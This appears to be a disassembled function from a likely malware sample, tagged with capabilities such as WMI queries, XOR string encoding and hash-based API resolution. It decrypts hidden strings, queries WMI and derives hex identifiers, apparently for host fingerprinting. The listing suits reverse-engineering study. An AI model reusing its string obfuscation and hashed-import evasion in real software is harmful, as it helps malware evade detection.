Function at 0x4346d0
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x98
mov edi, dword [ebp + 8]
mov eax, dword [0x446b2c]
mov dword [esp + 4], 0xd626d4f6
mov dword [esp + 8], 0xca5ac85e
mov dword [esp + 0xc], 0xce28cc5f
mov dword [esp + 0x10], 0xc205c052
mov dword [esp + 0x14], 0xc65cc451
mov dword [esp + 0x18], 0xfa1cf851
mov dword [esp + 0x1c], 0xfefdfcde
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x8b
xor dl, byte [esp + ecx + 4]
add dl, 0xa8
mov byte [esp + ecx + 4], dl
inc ecx
cmp ecx, 0x1c
jne 0x434730
lea esi, [esp + 0x44]
lea ecx, [esp + 0x84]
lea ebx, [esp + 4]
push esi
push 8
push ecx
push 0xd
push ebx
push 0
call eax
test eax, eax
jns 0x43476f
mov dword [esp + 0x84], 0x3a0043
mov dword [esp + 0x88], 0x5c
mov dword [esp + 0x50], 0x777d408d
mov dword [esp + 0x4c], 0xec9dd1a4
mov dword [esp + 0x48], 0xb879ee31
mov dword [esp + 0x44], 0xc16cbec0
mov dword [esp + 0x40], 0
lea eax, [esp + 0x40]
push eax
push 0x43d678
push 1
push 0
push 0x43d688
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x434ce6
mov dword [esp + 4], 0x8ef28cf9
mov dword [esp + 8], 0x82f580f0
mov dword [esp + 0xc], 0x86c684ef
mov dword [esp + 0x10], 0xbac4b8fe
mov dword [esp + 0x14], 0xbeefbccd
mov word [esp + 0x18], 0xb0bf
mov eax, 0xd96d9813
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x269267f1]
xor ecx, eax
mov edx, ecx
and edx, 0x67
xor ecx, 0x67
lea ecx, [ecx + edx*2]
inc cl
mov byte [esp + eax + 0x269267f1], cl
inc eax
cmp eax, 0xd96d9829
jne 0x434800
lea eax, [esp + 4]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, eax
mov eax, dword [esp + 0x40]
mov ecx, dword [eax]
lea edx, [esp + 0x3c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0x88], edi
push edi
push eax
call dword [ecx + 0xc]
test eax, eax
mov edi, dword [ebp + 8]
js 0x434cd2
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x58]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x434cc8
mov dword [esp + 4], 0x5750375
mov dword [esp + 8], 0x908074a
mov eax, 0x92
mov ecx, 0x6d
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x8e]
mov edi, ecx
or edi, edx
or edx, eax
not edx
add edx, eax
and edx, edi
mov bl, 0x6f
sub bl, dl
mov byte [esp + eax - 0x8e], bl
inc eax
dec ecx
cmp eax, 0x9a
jne 0x4348a0
lea eax, [esp + 4]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x58], eax
mov dword [esp + 4], 0xe3a7e1b3
mov dword [esp + 8], 0xe7a3e5a8
mov dword [esp + 0xc], 0xebbee9ab
mov dword [esp + 0x10], 0xefc4edcc
mov dword [esp + 0x14], 0xf3b4f1d0
mov dword [esp + 0x18], 0xf7b9f5a6
mov dword [esp + 0x1c], 0xfbdaf9b5
mov dword [esp + 0x20], 0xff97fdab
mov dword [esp + 0x24], 0x331016e
mov dword [esp + 0x28], 0x7590536
mov dword [esp + 0x2c], 0xb43094a
mov dword [esp + 0x30], 0xf5d0d43
mov word [esp + 0x34], 0x1110
mov eax, 0xe0
mov esi, 0x1f
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0xdc]
mov edi, esi
and edi, 0x5b
mov ebx, eax
and ebx, 0xa4
or ebx, edi
xor ebx, edx
xor ebx, 0x24
lea ecx, [eax - 0x80]
and ecx, ebx
add cl, cl
sub dl, cl
movzx ecx, dl
add ecx, eax
mov byte [esp + eax - 0xdc], cl
inc eax
dec esi
cmp eax, 0x112
jne 0x434950
lea eax, [esp + 4]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x3c]
mov ecx, dword [esi]
lea edx, [esp + 0x64]
push edx
push 0
push 0x30
mov dword [esp + 0x74], eax
push eax
push dword [esp + 0x68]
push esi
call dword [ecx + 0x50]
test eax, eax
mov edi, dword [ebp + 8]
lea ebx, [esp + 4]
js 0x434cb2
mov dword [esp + 0x5c], 0
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
lea edx, [esp + 0x5c]
lea esi, [esp + 0x60]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x434ca8
cmp eax, 1
je 0x434ca8
cmp dword [esp + 0x5c], 0
je 0x434ca8
lea esi, [esp + 0x70]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x60]
mov dword [esp + 4], 0xff5bfd2f
mov dword [esp + 8], 0xc36bc172
mov dword [esp + 0xc], 0xc76ac565
mov dword [esp + 0x10], 0xcb7fc906
mov dword [esp + 0x14], 0xcf6ccd61
mov dword [esp + 0x18], 0xd360d175
mov word [esp + 0x1c], 0xd5d4
mov ecx, 0xe77ea11c
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x18815ee8]
mov ebx, edx
and ebx, ecx
add bl, bl
sub dl, bl
movzx edx, dl
add edx, ecx
add dl, 0x20
mov byte [esp + ecx + 0x18815ee8], dl
inc ecx
cmp ecx, 0xe77ea136
jne 0x434a50
mov ecx, dword [eax]
push 0
push 0
push esi
push 0
lea edx, [esp + 0x14]
push edx
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x434c93
cmp word [esp + 0x70], 8
jne 0x434c93
mov ebx, dword [esp + 0x78]
movzx ecx, word [ebx]
test cx, cx
je 0x434aed
lea eax, [ebx + 2]
xor esi, esi
jmp 0x434acc
inc esi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x434aef
cmp cx, 0x7f
jbe 0x434ac0
movzx edx, cx
cmp edx, 0x7ff
ja 0x434ae2
add esi, 2
jmp 0x434ac1
cmp cx, 0xffff
je 0x434ac1
add esi, 3
jmp 0x434ac1
xor esi, esi
lea eax, [esi + 1]
push eax
call fcn.004082a0
add esp, 4
mov edi, eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x54], esi
test esi, esi
je 0x434c42
movzx eax, word [ebx]
mov edi, dword [esp + 0x38]
test ax, ax
je 0x434c42
mov ecx, dword [esp + 0x54]
mov edi, dword [esp + 0x38]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, ax
lea esi, [ebx + 2]
cmp dx, 0x7f
ja 0x434b50
lea eax, [edi + 1]
mov byte [edi], dl
jmp 0x434be0
cmp edx, 0x7ff
ja 0x434b7d
cmp ecx, 2
jb 0x434b7d
mov eax, edx
shr eax, 6
add al, 0xc0
mov byte [edi], al
mov eax, edx
xor eax, 0xc0
or edx, 0x3f
and edx, eax
add dl, 0x80
lea eax, [edi + 2]
mov byte [edi + 1], dl
jmp 0x434be0
mov eax, edx
and eax, 0xfc00
cmp eax, 0xd800
jne 0x434c08
cmp ecx, 4
jb 0x434c08
movzx esi, word [ebx + 2]
add ebx, 4
shl edx, 0xa
lea eax, [edx + esi]
add eax, 0xfca02400
mov edx, eax
shr edx, 0x12
add dl, 0xf0
mov byte [edi], dl
mov edx, eax
shr edx, 0xc
and dl, 0x3f
or dl, 0x80
mov byte [edi + 1], dl
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [edi + 2], al
mov eax, esi
and al, 0x3f
or al, 0x80
mov edx, eax
lea eax, [edi + 4]
mov byte [edi + 3], dl
mov esi, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, eax
sub edx, edi
mov edi, edx
xor edi, ecx
not edx
and edx, ecx
add edx, edx
sub edx, edi
mov ebx, esi
mov edi, eax
mov ecx, edx
movzx eax, word [ebx]
test ax, ax
je 0x434c42
test ecx, ecx
jne 0x434b30
jmp 0x434c42
movzx eax, ax
cmp eax, 0xdc00
jne 0x434c16
mov ebx, esi
jmp 0x434bf6
cmp ecx, 3
jb 0x434c3e
mov eax, edx
shr eax, 0xc
or al, 0xe0
mov byte [edi], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [edi + 1], al
and dl, 0x3f
or dl, 0x80
lea eax, [edi + 3]
mov byte [edi + 2], dl
jmp 0x434be0
mov eax, edi
jmp 0x434be0
mov byte [edi], 0
mov eax, 3
mov ecx, dword [esp + 0x54]
sub eax, ecx
cmp eax, 0xfffffffd
jae 0x434c5a
mov eax, 0xfffffffc
add eax, ecx
shr eax, 2
cmp eax, 3
mov edi, dword [ebp + 8]
lea esi, [esp + 0x70]
jb 0x434c70
mov eax, 3
lea eax, [eax*4 + 4]
lea ecx, [esp + 0x44]
push eax
mov ebx, dword [esp + 0x3c]
push ebx
push ecx
call fcn.004082d0
add esp, 0xc
push ebx
call fcn.004082b0
add esp, 4
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea ebx, [esp + 4]
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x58]
call esi
push dword [esp + 0x68]
call esi
lea esi, [esp + 0x44]
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x6c]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x40]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0xb65c016e
push dword [0x445b24]
call fcn.00439be0
add esp, 8
push 0
push 0
push 0
push 0
push ebx
push 0
push 0
lea ecx, [esp + 0xa0]
push ecx
call eax
test eax, eax
je 0x434d16
mov esi, ebx
mov ecx, dword [esi]
imul eax, ecx, 0x1a5845
imul ecx, ecx, 0x34b08a
and ecx, 0xd7bd1426
xor eax, 0xebde8a13
add eax, ecx
mov dword [esp + 0x44], eax
mov esi, 0xfffffff7
push 0x10
push 9
push edi
push eax
call fcn.0041ba80
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x434d50
test esi, esi
je 0x434d6e
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408460
add esp, 0xc
lea eax, [edi + 8]
xor ecx, ecx
cmp dword [esp + 0x48], 0
setne cl
mov edx, dword [esp + ecx*4 + 0x44]
imul ecx, edx, 0x1a5845
imul edx, edx, 0x34b08a
and edx, 0xd7bd1426
xor ecx, 0xebde8a13
add ecx, edx
mov dword [esp + 0x48], ecx
mov esi, 0xfffffff7
push 0x10
push 9
push eax
push ecx
call fcn.0041ba80
add esp, 0x10
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x434db0
test esi, esi
je 0x434dce
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408460
add esp, 0xc
lea eax, [edi + 0x10]
xor ecx, ecx
cmp dword [esp + 0x4c], 0
setne cl
mov edx, dword [esp + ecx*4 + 0x48]
imul ecx, edx, 0x1a5845
imul edx, edx, 0x34b08a
and edx, 0xd7bd1426
xor ecx, 0xebde8a13
add ecx, edx
mov dword [esp + 0x4c], ecx
mov esi, 0xfffffff7
push 0x10
push 9
push eax
push ecx
call fcn.0041ba80
add esp, 0x10
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x434e10
test esi, esi
je 0x434e2e
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408460
add esp, 0xc
add edi, 0x18
xor eax, eax
cmp dword [esp + 0x50], 0
setne al
mov ecx, dword [esp + eax*4 + 0x4c]
imul eax, ecx, 0x1a5845
imul ecx, ecx, 0x34b08a
and ecx, 0xd7bd1426
xor eax, 0xebde8a13
add eax, ecx
mov esi, 0xfffffff7
push 0x10
push 9
push edi
push eax
call fcn.0041ba80
add esp, 0x10
nop
nop
nop
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x434e70
test esi, esi
je 0x434e8e
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408460
add esp, 0xc
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret